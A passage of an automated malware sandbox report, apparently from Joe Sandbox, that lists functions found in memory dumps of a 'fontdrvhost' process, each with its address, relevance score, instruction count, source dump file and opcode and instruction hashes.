Opcode ID: 8e6e0a77ec54c7a89a6adb00b0ee0dd823800eff4646d257b296df585425b776
Instruction ID: e2099fa4c2614ca5cd466189c913817df085d7bf7c985a778fa8b5045f5a1597
Opcode Fuzzy Hash: 8e6e0a77ec54c7a89a6adb00b0ee0dd823800eff4646d257b296df585425b776
Instruction Fuzzy Hash: 50C17E306295568BEB09CF28C4E05B13BA5FF46310B5446BDC98ACB68FDA3CE842DF51

Function 00007FFD34946797 Relevance: .3, Instructions: 311COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59973a46f5c79d70f8dba67da8e20897a40778c640cd7ba84671b69d23717f6f
Instruction ID: f60172b59830902ae90f7eed967ba80f57069c314b36bee012ab8964c4cf0cf2
Opcode Fuzzy Hash: 59973a46f5c79d70f8dba67da8e20897a40778c640cd7ba84671b69d23717f6f
Instruction Fuzzy Hash: 6B21F896F0C69786F669AEA9A4B21FC56405F53324F18017FD24ED12EBCC4C3C8572B2

Function 00007FFD3494B8B7 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cdb3598e9860f5f535a1a126cc383cfff69c2f1a0f631742911af5462565f14
Instruction ID: 225dfc589880f7e9362b46674a23c31521c7d768bbef1e7266cc43570552be6b
Opcode Fuzzy Hash: 0cdb3598e9860f5f535a1a126cc383cfff69c2f1a0f631742911af5462565f14
Instruction Fuzzy Hash: 8E219E12F0D1938EF679A669A8F61FC26809F56360F1805BED74DD62CEDC0C688173A2

Function 00007FFD34948D32 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ebcdc2c492d3032854ceea489e5ce496aad5eefc95c5d0bd4e3a3b174805c69
Instruction ID: 3904480fd9ce13ea80fb35f9180bb8008f6f015506304efc118d47d8e67d133b
Opcode Fuzzy Hash: 5ebcdc2c492d3032854ceea489e5ce496aad5eefc95c5d0bd4e3a3b174805c69
Instruction Fuzzy Hash: 85B18F34B1CA469FE749DB28C0A06A5B7A1FF59300F5441BDD14EC7B8ADB28F851CBA1

Function 00007FFD3494136D Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7329a03e9a772bf7a479ab5feee0aeacc5b44f5e16255f7a98e73773a3666a74
Instruction ID: a6c586556cdc6de16c8f37296b6c1fa6089612fd7d1f567b05ca9b52392a5408
Opcode Fuzzy Hash: 7329a03e9a772bf7a479ab5feee0aeacc5b44f5e16255f7a98e73773a3666a74
Instruction Fuzzy Hash: 5521E112F1C5938BF235DA6B94FA1F85A905F13324F18027ED68ED66CADD0C784573A2

Function 00007FFD34946428 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 500255a238e7d1a254389bf21809946928dd06a0cd37762252fa476f7b685a19
Instruction ID: f24cc053e0ba09c4d53f494b5176f89a65c7e918e446f8670d2b0d7e36cf2cba
Opcode Fuzzy Hash: 500255a238e7d1a254389bf21809946928dd06a0cd37762252fa476f7b685a19
Instruction Fuzzy Hash: 517146B1B0C54A4FEB68DA18C4A65B437D0EF56310B0002BDD25EC77BADD1CAC1AD7A1

Function 00007FFD3494C12B Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd67c59eae0dcb19f876d7f4a0906ec50ef7a467f95984b3d2bee00f68e9c08f
Instruction ID: 5f631e330937fa2b293552ddd51efbece3f83d8531839e388d79fc5747a91b12
Opcode Fuzzy Hash: fd67c59eae0dcb19f876d7f4a0906ec50ef7a467f95984b3d2bee00f68e9c08f
Instruction Fuzzy Hash: E3719031E1C64A9EEBA5DBA4C4A16BDB7A1FF4A300F51017DD10ED3299DE3CA841E760

Function 00007FFD3494700B Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97ef7ae9581bd6aa8a9fbc8169e5d70aa6b16c4dacabf880fa45c272ac6ee418
Instruction ID: 2d54e3243eed13aa54d7f9bacd5e10f046bbf3cf83036d5c30b4e9c692020f96
Opcode Fuzzy Hash: 97ef7ae9581bd6aa8a9fbc8169e5d70aa6b16c4dacabf880fa45c272ac6ee418
Instruction Fuzzy Hash: 1171A231A1D64E8FEB68DBA4C8A1ABD7BA1FF4A300F1005BDD10ED7295DE2C68419761

Function 00007FFD34941BDB Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d267d3a3a5bbc860cfb3399a4170e9c99f926f800885bde2cb025a28a2959771
Instruction ID: 3f026fdbdd8fdcf8607f9e5e2d8783ca22b8edf870a3fd61cb257eb1c7368421
Opcode Fuzzy Hash: d267d3a3a5bbc860cfb3399a4170e9c99f926f800885bde2cb025a28a2959771
Instruction Fuzzy Hash: C371A130E1C64A8FEBA5DB64C8AA6BDBBA1FF46300F14057ED10ED7295DA2C6841E710

Function 00007FFD34943ADE Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9673e3b93d72dce6067f0ad3bb9cdd71d1fba3a9e24aeb0d78eb3f8f59d11ee
Instruction ID: 9fb00d6693e4cfc5f38db1846439de20d2c9fe4ac50afb9a0f414085c090a837
Opcode Fuzzy Hash: d9673e3b93d72dce6067f0ad3bb9cdd71d1fba3a9e24aeb0d78eb3f8f59d11ee
Instruction Fuzzy Hash: 6461953070CA469FD769DF28C0A1664B7A1BF1A300F9441BDC94EC778ADB2CB851DB91

Function 00007FFD3494AAE7 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b55a32e4fe95e5f8e52d275f208b58048c60964f46f8c707d8a2ec40c2bf996
Instruction ID: 06937715c1d1a3c59e686e228ab494d333fd6b008573974de1b46f4f17d4d570
Opcode Fuzzy Hash: 7b55a32e4fe95e5f8e52d275f208b58048c60964f46f8c707d8a2ec40c2bf996
Instruction Fuzzy Hash: 90415F32A0C9588FDF98EF18C4A69A5B3E1FB69311714017ED04AC3296DE35F845CB81

Function 00007FFD34945737 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 895cbb173c071cff7175e86370a2695b657e54ab265547ef7b91d08eb41e4495
Instruction ID: c5b6f8c2fbbaccdf64626ac65c0d7b12508ddd3ac7409ef2fb7cf8fd0c26ba3c
Opcode Fuzzy Hash: 895cbb173c071cff7175e86370a2695b657e54ab265547ef7b91d08eb41e4495
Instruction Fuzzy Hash: 6F416E3260C9088FDF98EF58C4A59A5B3E1FBA9320B04057ED14ED3682CE35EC45CB81

Function 00007FFD349457E1 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ff6c84e296b632b72b6be55fca87e533251e7834d8857768a931772dc8a1c99
Instruction ID: 97edf4b87383abd3bddb35cba3ceab7d6b70f7bb0af691ea763b006d9febea4a
Opcode Fuzzy Hash: 4ff6c84e296b632b72b6be55fca87e533251e7834d8857768a931772dc8a1c99
Instruction Fuzzy Hash: 27317E3160C9488FDB98EF28C0A5AA5B3E1FF6931071406AEE44ED7292CE35FC45CB81

Function 00007FFD3494AB91 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a98fc106879bc78877695624adc1aca80d3bbd56767544ae005259ad8fe2cb4
Instruction ID: f5a8878339f4a5f54744bf9ba2cece55b83971a5949972d4544b1ab341f691bb
Opcode Fuzzy Hash: 7a98fc106879bc78877695624adc1aca80d3bbd56767544ae005259ad8fe2cb4
Instruction Fuzzy Hash: 8931913160C9588FCB99EF18C4A6D65B3E1FB6931171406BED04AC7296CE35FC45CB82

Function 00007FFD34550908 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70b39af699e79c17fd18832147968019b6e7dd1b1b2a1a1ad00ae19ae8ffb0f7
Instruction ID: eb23a2195217ed3b6ea7875d536c5ffccbdbbb620212bb756adc30465ed230ba
Opcode Fuzzy Hash: 70b39af699e79c17fd18832147968019b6e7dd1b1b2a1a1ad00ae19ae8ffb0f7
Instruction Fuzzy Hash: C221B43170C8184FE768EB1CE88ADB973D1EB9A32171501BAE58FC7166E911EC8287C5

Function 00007FFD3494AB2B Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66cd89b4d8c66ee9fd1efec0ac9067bffc1501651cd85e10a7fb90d75d3baf62
Instruction ID: 24e063eeea7322c2c50af8217396f5466d6038e8a86e464e963a15e3e51b9666
Opcode Fuzzy Hash: 66cd89b4d8c66ee9fd1efec0ac9067bffc1501651cd85e10a7fb90d75d3baf62
Instruction Fuzzy Hash: F1316E3160C9498FDF98EF18C4A6AA5B3E1FB6971171406BED04AC7296CE35F845CB82

Function 00007FFD3494577B Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77602723bedb0db80ec074eabb2c8d4b09e34adcf48a1ccd97b8339f77b4a292
Instruction ID: de84bf5040dfc9ae41e1fe4bcd43d27d9fa28296ac58a6aa4a299f83732b21b2
Opcode Fuzzy Hash: 77602723bedb0db80ec074eabb2c8d4b09e34adcf48a1ccd97b8339f77b4a292
Instruction Fuzzy Hash: EB314D316089498FDB98EF28C0A5AA5B3E1FB6931071406AEE04AD7692CE35EC45CB81

Function 00007FFD34551171 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea367d92eaa35eb07e3c5c9b52f8eaffa1f6e5a5fe0a2c98c53f0fd92b268e6
Instruction ID: 1fef210b747af1852ecb533f87e654406c04439dbd7308b90a2ad790f68fe22e
Opcode Fuzzy Hash: bea367d92eaa35eb07e3c5c9b52f8eaffa1f6e5a5fe0a2c98c53f0fd92b268e6
Instruction Fuzzy Hash: A1317231E0C68A8FDB46EB64C8A59B97BF0EF57310B0405FBD00AD7193DA2CA845C751

Function 00007FFD3494A8F5 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cbb5d0bc7311ce933fadfcf940051edfcc61297f517d9777c0796aeb49cda5c
Instruction ID: 849651bc8c7751fdb227b36a22ce9e3dedd904082b23e8e5c0cba0e241d4a9f6
Opcode Fuzzy Hash: 1cbb5d0bc7311ce933fadfcf940051edfcc61297f517d9777c0796aeb49cda5c
Instruction Fuzzy Hash: 6A314830A1C95ACFEB98DBD4C4A26BD77A0FF45300F62017ED20ED6285DA3CA800A751

Function 00007FFD34945545 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd6fee1e818360ad66a0b4d5346ed7b73dcecadebba50ba1c4310ce629b088ba
Instruction ID: 1cb19bb5fb333e06c96ccd4c3266cff74cf01adfcf9bf5a9b5bf0ac7b98c193f
Opcode Fuzzy Hash: fd6fee1e818360ad66a0b4d5346ed7b73dcecadebba50ba1c4310ce629b088ba
Instruction Fuzzy Hash: AB311530A1854ACFEBD8DF84C4A55BD77B2FF46310F60017AE60ED6285DE3CA900AB61

Function 00007FFD34944431 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7492f0997ec06894da6b322722996e5017b9cf064e1e06945ba88a14db4c755
Instruction ID: 7f6bd4f3015278085f89c5c742ce0877e968edfeeb74836dd1b456f88a76c220
Opcode Fuzzy Hash: e7492f0997ec06894da6b322722996e5017b9cf064e1e06945ba88a14db4c755
Instruction Fuzzy Hash: A0312910A1C5D6CAE72AC61884B05747BA1FF4731072946BED68BCB2CBC82CA881A761

Function 00007FFD3494BDA2 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdefac9b74aae521c3192b79ccfe13ee4d8b260c76b3d213cd583aa7aa48ae73
Instruction ID: 8a42a7e23cb86b7d464153b0313f03c720060d96607ee4fac226f3c8d89207c9
Opcode Fuzzy Hash: cdefac9b74aae521c3192b79ccfe13ee4d8b260c76b3d213cd583aa7aa48ae73
Instruction Fuzzy Hash: 21310571E0891D8FDF99DB58C4A5AE9B7B1FF59300F0001BED14EE7295CE39A9418B50

Function 00007FFD349497E1 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05912406babf8ad3dcb5a5c08a23bcf7a422fb11702047a2523fc1e8a80993ed
Instruction ID: 00a02836ed61b7c89cd6cf4ab48407208a691f13da282956b752eb26bf3e2530
Opcode Fuzzy Hash: 05912406babf8ad3dcb5a5c08a23bcf7a422fb11702047a2523fc1e8a80993ed
Instruction Fuzzy Hash: F731E510A1C5974BE729C328C8B45B47BA5EF533217184ABEC186CB78BC42CB886EF51

Function 00007FFD34946C82 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 255db5591f2b25b65f74561d5454ba28b5f0a6302ce67288ad420cb21e2366b6
Instruction ID: 0796c87ac6bc01d25f7f06440f41b2d2cc7f4f5697013f44bee206c2d731445d
Opcode Fuzzy Hash: 255db5591f2b25b65f74561d5454ba28b5f0a6302ce67288ad420cb21e2366b6
Instruction Fuzzy Hash: 5F31EB71E0891D8FCF98DB18C4A5AE9B7B1EB59300F4441BDD14EE72A5CE39AD418B40

Function 00007FFD34550C25 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64baffa4a49a3c20d947b1b5bce7d33a092b58b6efe707d8eea59877bf1d477a
Instruction ID: d90f82451b425d0da959794ba6a4861aa8b7af3b37e38531cbe1be7806ec3833
Opcode Fuzzy Hash: 64baffa4a49a3c20d947b1b5bce7d33a092b58b6efe707d8eea59877bf1d477a
Instruction Fuzzy Hash: BB21F337F0D2599FE712A76898620ECBBB0EF43320F0441F3D249CA093D93CA9469781

Function 00007FFD34947D4E Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b134640f3158fc816201f04cc7e2c6819d356ea597545e6460c08169bb8d3d7c
Instruction ID: 85c271121c3fc54434ae899b862bb0c2a2210c3b86abbeb4ee9afa940ce0015f
Opcode Fuzzy Hash: b134640f3158fc816201f04cc7e2c6819d356ea597545e6460c08169bb8d3d7c
Instruction Fuzzy Hash: 4A21F321F2D54E4FEB59E66898B62B8B7A1EF46310F1401BED10EC37C6DD1CA8069361

Function 00007FFD34940D01 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b057a1fbe74acf6ebabca789a3fa6672766f5b76648fb7120af4763e8bfde11
Instruction ID: ad156a57a086aa4f41bc9e6573d3d04d694a003f77353341fc06dcc545d09b39
Opcode Fuzzy Hash: 2b057a1fbe74acf6ebabca789a3fa6672766f5b76648fb7120af4763e8bfde11
Instruction Fuzzy Hash: F2219D30E1CA4E9FDB94DB58C8A05FDBBB1FF59300F51007AD10AE3282DA3868099B54

Function 00007FFD34943015 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7ff6c59a1bed29f0984c4c7fee7fb8f07e6351fa1748005db8a8a6c81803e01
Instruction ID: 2fd54318f61ea46cb31b813bf61d90fa6c4107c462bf91fe556a8ab236d43d41
Opcode Fuzzy Hash: f7ff6c59a1bed29f0984c4c7fee7fb8f07e6351fa1748005db8a8a6c81803e01
Instruction Fuzzy Hash: 75215E31B1C6068BE678DE28D0E143973E5EF5E744B60163DDA8FC338ADE6CB8026651

Function 00007FFD3494B255 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0deafe1946f5cf9292baf1f3bf1d4cece4f57f8b4ca9a964a47bbe70eaea28a6
Instruction ID: dd7e1116cbdd8fec5152e82b03e4866ae108d513b38dd1ace8383973236858a9
Opcode Fuzzy Hash: 0deafe1946f5cf9292baf1f3bf1d4cece4f57f8b4ca9a964a47bbe70eaea28a6
Instruction Fuzzy Hash: 51212C31A1C94E8FDB95DF58C8A05EDBBB1FF69310F10017AD10AE7295DA386941DB50

Function 00007FFD349483D5 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac4dd3580c996790eb08a448dc478d2c8e811ad9681366ed88b8a57021054563
Instruction ID: 2be7435e085c8d10f7de5f3c029c90eb73396346264803dff3ee3d11bef8fbcf
Opcode Fuzzy Hash: ac4dd3580c996790eb08a448dc478d2c8e811ad9681366ed88b8a57021054563
Instruction Fuzzy Hash: 50218335F2C6068BE6BCDA18C4A013972E5FF5A304B21057DD69FD3789DE2CB8026696

Function 00007FFD34946138 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 160f74020228772666ee14c029e5e7b448c15014666484059337e3dca71b0248
Instruction ID: 1b73f57aeea14d74e520eb96d154db7f2edae2b95523eeae5fa65b48f351b003
Opcode Fuzzy Hash: 160f74020228772666ee14c029e5e7b448c15014666484059337e3dca71b0248
Instruction Fuzzy Hash: 52213A74E1895E9FCB84DF98C4A09EDB7B1FF49300F50013AD10AE3291DA3DA9059B50

Function 00007FFD3494178D Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c89e010bc2266d898f01a2e9b6c8cb8290c208c902a807eaccd14214630d150a
Instruction ID: bda8b29a66082cda72846e4d73bcfa2b53ff171523a5f33f8591e59903293b42
Opcode Fuzzy Hash: c89e010bc2266d898f01a2e9b6c8cb8290c208c902a807eaccd14214630d150a
Instruction Fuzzy Hash: F021EA70E0895D8FDF99DB58C4AAAACB7B1FF69301F14016DC10EE7295CB35A881DB10

Function 00007FFD345546FE Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3cae84655fbbdc49b8973b4cbcc2cd00feb06a5c9d2548d7c79b3379d52cc79
Instruction ID: fbca84486fa941f6ec5ce1667ac8ef2a593731f53f5d5fe55dca1d01612adc23
Opcode Fuzzy Hash: b3cae84655fbbdc49b8973b4cbcc2cd00feb06a5c9d2548d7c79b3379d52cc79
Instruction Fuzzy Hash: 12218631E1C82E4EEB95EB1898A43B862E0FF47311F1401F9D54FE3292DE2CAC419740

Function 00007FFD34941869 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c68131767bf49d2cef3fbfca3ee030b422b86e3f86851fcc1c6e7cd18fa22ce
Instruction ID: 57cade49e07d053cbc68feaf870a53cbdc0e244dd61276854f773ad4b9a4e45c
Opcode Fuzzy Hash: 3c68131767bf49d2cef3fbfca3ee030b422b86e3f86851fcc1c6e7cd18fa22ce
Instruction Fuzzy Hash: 11210971E199099FDB9CDB58C4AAAADB7B1EF59310F0001BED10EE7395CE38A9408B50

Function 00007FFD34947C92 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a9fbb0d8dc3fd93b328867bc4c7bf546f766189381797c31955e95fc344811
Instruction ID: c0f7575fb76becd20b8f5c512773de06615ced984121f45e6418adc37495021f
Opcode Fuzzy Hash: 12a9fbb0d8dc3fd93b328867bc4c7bf546f766189381797c31955e95fc344811
Instruction Fuzzy Hash: F2214C71B1890E9BDB98DF68C4A1978F3A2FF45310B148279D51ED3686CF28BC12DB84

Function 00007FFD34944460 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e6b790932fd363d2137c0866a0daea9c94ecafd036a70d1ae1a768246fbd11d
Instruction ID: c799a92a586826f099e27ae78e0165374e46642d4e148ca6c692bba15c1e383d
Opcode Fuzzy Hash: 9e6b790932fd363d2137c0866a0daea9c94ecafd036a70d1ae1a768246fbd11d
Instruction Fuzzy Hash: 5311DA20E1C8A6C6FA68CA08C4F49B47391FF56305724467DD55FCB6CEC82CF981A7A0

Function 00007FFD34949810 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

